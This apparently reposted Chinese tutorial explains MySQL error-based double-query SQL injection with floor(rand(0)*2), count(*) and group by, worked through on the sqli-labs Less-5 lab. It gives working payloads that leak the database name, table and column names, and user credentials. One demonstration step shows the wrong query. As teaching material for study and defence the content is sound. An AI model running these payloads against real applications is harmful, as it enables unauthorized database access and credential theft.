mysql get基于报错的盲注方法是什么

这篇文章主要讲解了“mysql get基于报错的盲注方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“mysql get基于报错的盲注方法是什么”吧!

报错注入

报错注入就是在注入过程中黑客根据错误回显进行判断。 形式上是两个嵌套的查询,即select…(select…),里面的select被称为子查询,他的执行顺序也是先执行子查询,然后再执行行外面的select,双注入主要涉及到一下sql函数:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

less-5为例演示

首先使用报错注入:构造语句

1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

显示结果

mysql get基于报错的盲注方法是什么

  • 为什么会出现这样的情况,因为当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

  • 那么,对这个语句中的函数(也就是上面的4个函数)进一个一个学习: 在本地连接数据库,查询测试一下concat()的用法。

输入: select concat('qwe','abc');

mysql get基于报错的盲注方法是什么

看到将qwe和abc拼接在一起

然后测试一下rand()这个随机函数:

输入语句:select floor(1.2343232);select floor(3.893);

mysql get基于报错的盲注方法是什么

一共输入的三次,每次输出的数都是随机,但是这些数都是大于0,小于1的数

然后测试一下floor()函数

输入语句:select floor(1.2343232);select floor(3.893);

mysql get基于报错的盲注方法是什么

输出的都是小于或者等于输入的数

然后测试一下双注入查询的组合

输入的语句:select floor(rand()*2);

mysql get基于报错的盲注方法是什么

分析一下,从里往外走,rand()*2永远不可能等于2,不可能小于0;所以floor取整就是1,或者就是0

在深入一下,测试:

select concat((select database()),floor(rand()*2));

mysql get基于报错的盲注方法是什么

看到concat将数据库和后面的取整,合并在一起了。 同理,在less-5的第一个报错语句concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a

mysql get基于报错的盲注方法是什么

0x3a是:号,所以就将他们拼接起来。

  • 如果在后面加上from emails表的话,那么返回的结果就是security0和security1的集,总共有多少条呢,那就要看表里面有多少列信息。

  • mysql get基于报错的盲注方法是什么

  • mysql get基于报错的盲注方法是什么

下面,加上group by语句。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

mysql get基于报错的盲注方法是什么

as a就是将查询的concat((select database()), floor(rand()*2))名字另取a;然后用group by a进行分组。这样相同的security0和security1分别分成一组,也就是两组,也是两种结果。

然后我们加上聚合函数count(*)

select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;

mysql get基于报错的盲注方法是什么

同理,less-5第一报错:

mysql get基于报错的盲注方法是什么

参考教程

1.爆出数据库

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

页面显示:

mysql get基于报错的盲注方法是什么

2.爆出表

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

mysql get基于报错的盲注方法是什么

3.爆出列名

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+

mysql get基于报错的盲注方法是什么

4.获取用户信息

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

感谢各位的阅读,以上就是“mysql get基于报错的盲注方法是什么”的内容了,经过本文的学习后,相信大家对mysql get基于报错的盲注方法是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!

原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/223584.html

(0)
上一篇 2022年1月7日
下一篇 2022年1月7日

相关推荐

发表回复

登录后才能评论